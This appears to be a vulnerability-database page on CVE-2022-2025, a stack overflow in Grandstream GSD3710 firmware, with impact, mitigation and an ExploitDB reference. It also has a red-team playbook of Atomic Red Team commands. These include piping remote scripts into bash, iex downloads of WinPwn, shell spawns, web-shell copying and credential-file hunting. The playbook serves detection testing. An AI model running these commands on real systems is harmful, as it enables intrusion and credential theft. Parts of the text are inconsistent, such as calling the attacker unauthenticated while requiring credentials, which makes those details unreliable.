CVE-2022-2025
Overview
This vulnerability is a stack-based buffer overflow caused by improper validation of parameter length before invoking the strcpy function in the Grandstream GSD3710 firmware version 1.0.11.13. The flaw exists within the device's input handling routines, where unchecked user-supplied data is copied onto the stack, leading to memory corruption. The affected component is the firmware's parameter processing logic responsible for managing user credentials or related inputs.
Vulnerability Description
an attacker with knowledge of user/pass of Grandstream GSD3710 in its 1.0.11.13 version, could overflow the stack since it doesn't check the param length before use the strcopy instruction. The explotation of this vulnerability may lead an attacker to execute a shell with full access.
Impact
An unauthenticated remote attacker with valid user credentials can exploit this vulnerability to execute arbitrary code with full system privileges on the Grandstream GSD3710 device. This enables the attacker to spawn a shell and gain complete control over the device, potentially compromising network security and confidentiality. The attack requires network access and valid authentication credentials, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, reflecting no user interaction but the need for credentials.
Solution
Grandstream recommends updating the GSD3710 firmware to a version later than 1.0.11.13 where this buffer overflow has been addressed. Detailed patch instructions and advisory information are available at the INCIBE-CERT security advisory page: https://www.incibe-cert.es/en/early-warning/security-advisories/buffer-overflow-vulnerabilities-grandstream-gsd3710. Users should apply the official firmware update provided by Grandstream to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Grandstream GSD3710 firmware version 1.0.11.13 arises from improper handling of user input, specifically a lack of validation on parameter lengths before executing the `strcpy` function. This oversight allows for stack-based buffer overflow conditions, where an attacker can exploit the vulnerability by providing an excessively long input string. The absence of bounds checking means that the input can overwrite adjacent memory locations on the stack, potentially leading to arbitrary code execution. This flaw is particularly critical given that it can be triggered by anyone with knowledge of valid user credentials, making it accessible to a wide range of attackers.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a session with the device, authenticate using valid credentials, and then send a specially crafted request that exceeds the expected input size. This crafted input would overwrite the stack, allowing the attacker to manipulate the execution flow of the device's firmware. Once control is gained, the attacker could execute arbitrary commands with the same privileges as the device, which may include full administrative access. Such exploitation could lead to unauthorized access to sensitive data, reconfiguration of device settings, or even the establishment of a persistent backdoor for ongoing access.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the Grandstream GSD3710 for critical operations. The potential for an attacker to gain full control over the device poses substantial business risks, including data breaches, service disruptions, and reputational damage. Organizations that utilize this device in their network infrastructure may find themselves vulnerable to a range of malicious activities, from data exfiltration to the deployment of further attacks against internal systems. The high CVSS score of 9.8 indicates that this vulnerability poses an urgent threat, necessitating immediate attention from affected organizations.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular monitoring of network traffic and device logs can help identify unusual patterns that may indicate exploitation attempts. Intrusion detection systems (IDS) can be configured to alert administrators of suspicious activity related to the GSD3710. Additionally, organizations should enforce strict access controls and limit the exposure of the device to untrusted networks. Applying firmware updates and patches provided by the manufacturer is crucial, as these updates often contain fixes for known vulnerabilities. In cases where immediate patching is not feasible, employing network segmentation to isolate the device from critical systems can help minimize potential damage.
In conclusion, the vulnerability within the Grandstream GSD3710 firmware presents a serious threat that can be exploited by attackers to gain unauthorized access and control. The implications for businesses are profound, with risks ranging from operational disruptions to severe data breaches. Organizations must prioritize detection and mitigation strategies to safeguard their networks against this and similar vulnerabilities, ensuring that their devices are secure and resilient against potential attacks. By adopting a proactive security posture, businesses can better protect their assets and maintain the integrity of their operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Grandstream | Gds3710 Firmware | 1.0.11.13 |
cpe:2.3:o:grandstream:gds3710_firmware:1.0.11.13:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Grandstream GSD3710 1.0.11.13 - Stack Overflow | Pepelux | remote | multiple | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-2025 |
| incibe-cert.es |
GitHub CVE
x_refsource_CONFIRM
|
https://www.incibe-cert.es/en/early-warning/security-advisories/buffer-overflow-vulnerabilities-grandstream-gsd3710 |